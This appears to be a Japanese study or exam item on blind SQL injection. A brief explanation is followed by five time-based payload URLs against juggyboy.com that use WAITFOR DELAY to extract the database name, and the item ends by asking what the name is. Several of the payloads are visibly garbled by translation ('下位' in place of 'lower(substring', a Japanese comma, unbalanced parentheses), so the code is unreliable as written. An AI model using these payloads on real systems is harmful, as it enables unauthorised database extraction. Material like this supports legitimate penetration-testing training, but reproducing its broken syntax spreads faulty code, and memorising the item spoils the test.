ブラインドSQLインジェクションは、SQLインジェクション攻撃の一種で、データベースに真または偽の質問を行い、アプリケーションの応答に基づいて回答を決定します。この攻撃は、Webアプリケーションが一般的なエラーメッセージを表示するように設定されていても、SQLインジェクションに脆弱なコードを緩和していない場合によく使用されます。

SQLの脆弱性を悪用しようとしているときにアプリケーションからエラーメッセージが受信されなかった場合に実行されます。エラーメッセージではなく、開発者固有のメッセージが表示されます。このような場合にSQLの脆弱性を見つけるのは非常に難しいです。
ペンテスターがブラインドSQLインジェクションを使用してデータベース名を抽出しようとしています。彼は以下のクエリを使用してデータベースをテストし、最後にデータベース名を検索します。
http://juggyboy.com/page.aspx?id=1; IF(LEN(DB_NAME())= 4)WAITFOR DELAY '00:00:10 ' -
http://juggyboy.com/page.aspx?id=1; IF(ASCII(lower(substring(DB_NAME())、1,1)))= 97)WAITFOR DELAY '00:00:10 ' -
http://juggyboy.com/page.aspx?id=1; IF(ASCII(下位)(DB_NAME())、2,1)))= 98)WAITFOR DELAY '00:00:10 ' -
http://juggyboy.com/page.aspx?id=1; IF(ASCII(下位)(DB_NAME())、3,1)))= 99)WAITFOR DELAY '00:00:10 ' -
http://juggyboy.com/page.aspx?id=1; IF(ASCII(下位)(DB_NAME())、4,1)))= 100)WAITFOR DELAY '00:00:10 ' -
データベース名とは何ですか?